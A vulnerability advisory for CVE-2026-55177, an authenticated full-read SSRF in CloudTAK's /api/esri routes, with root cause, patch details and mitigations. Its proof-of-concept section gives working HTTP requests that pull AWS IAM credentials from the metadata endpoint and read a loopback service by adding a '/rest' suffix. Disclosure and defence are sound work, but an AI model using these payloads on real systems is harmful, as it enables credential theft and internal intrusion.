highCVE-2026-55177Jul 17, 2026

CVE-2026-55177: CloudTAK Authenticated Full-Read SSRF in /api/esri Routes

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Any logged-in CloudTAK user can make the server fetch an arbitrary internal URL (cloud metadata, loopback ports, VPC services) through the ESRI helper routes, and read the full response back…

Package@tak-ps/cloudtak
Ecosystemnpm
Affected< 13.10.0
Fixed in13.10.0

The problem

Every route in the /api/esri* family accepts a fully user-controlled URL from the request body or query string and passes it to EsriBase / EsriProxy* classes, which call the bare fetch from @tak-ps/etl. No IP or hostname classification runs before the request is issued.

The only inspection the URL receives is EsriBase.sniff(), which pattern-matches only the URL pathname for /rest, /arcgis/rest, or /sharing/rest. An attacker adds that suffix to any internal address and sniff() approves it. The response body is returned verbatim to the caller via res.json(), or reflected in the error string, making this a full-read (not blind) SSRF.

All six affected routes require only a valid user token (anyResources: true), not an admin role. This means any account can exploit the flaw.

Proof of concept

A working proof-of-concept for CVE-2026-55177 in @tak-ps/cloudtak, with the exact payload below.

http
# Variant 1: read AWS IMDSv1 credentials (full-read)
POST /api/esri HTTP/1.1
Host: cloudtak.example.org
Authorization: Bearer <any-valid-user-token>
Content-Type: application/json

{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/arcgis/rest"}

# Variant 2: read an internal-only loopback service (full-read)
GET /api/esri/server?server=http://127.0.0.1:8500/rest HTTP/1.1
Host: cloudtak.example.org
Authorization: Bearer <any-valid-user-token>

# Both return the upstream JSON body directly in the response.
# /arcgis/rest or /rest suffix satisfies sniff() path check; host is never validated.

The root cause is an incomplete SSRF-hardening migration. The repository already ships isSafeUrl from @tak-ps/node-safeurl and uses it in basemap.ts, task.ts, and video-service.ts, but the guard was never wired into api/lib/esri.ts or any of the six /api/esri* route handlers.

sniff() validates only the URL pathname, not the host, so appending /rest or /arcgis/rest to any private address bypasses the only pre-fetch check. The patch (commit ff6dd1d9 on the advisory fork) centralizes a safeFetch wrapper and an EsriBase.assertSafe method inside api/lib/esri.ts, so every EsriProxy* call and every fetchVersion() / generateToken() call now runs isSafeUrl before the first outbound request.

The fix

Upgrade @tak-ps/cloudtak to **v13.10.0**. The fix adds a safeFetch wrapper and EsriBase.assertSafe in api/lib/esri.ts that call isSafeUrl(...) before every outbound fetch, blocking loopback, link-local, and private-range destinations. The same process.env.StackName !== 'test' skip used by other guarded paths is preserved.

Operators who cannot upgrade immediately should restrict access to the /api/esri* routes at the network layer and enforce IMDSv2 (token-required mode) on any cloud host running CloudTAK.

Reported by tonghuaroot.

References: [1][2][3]

Related research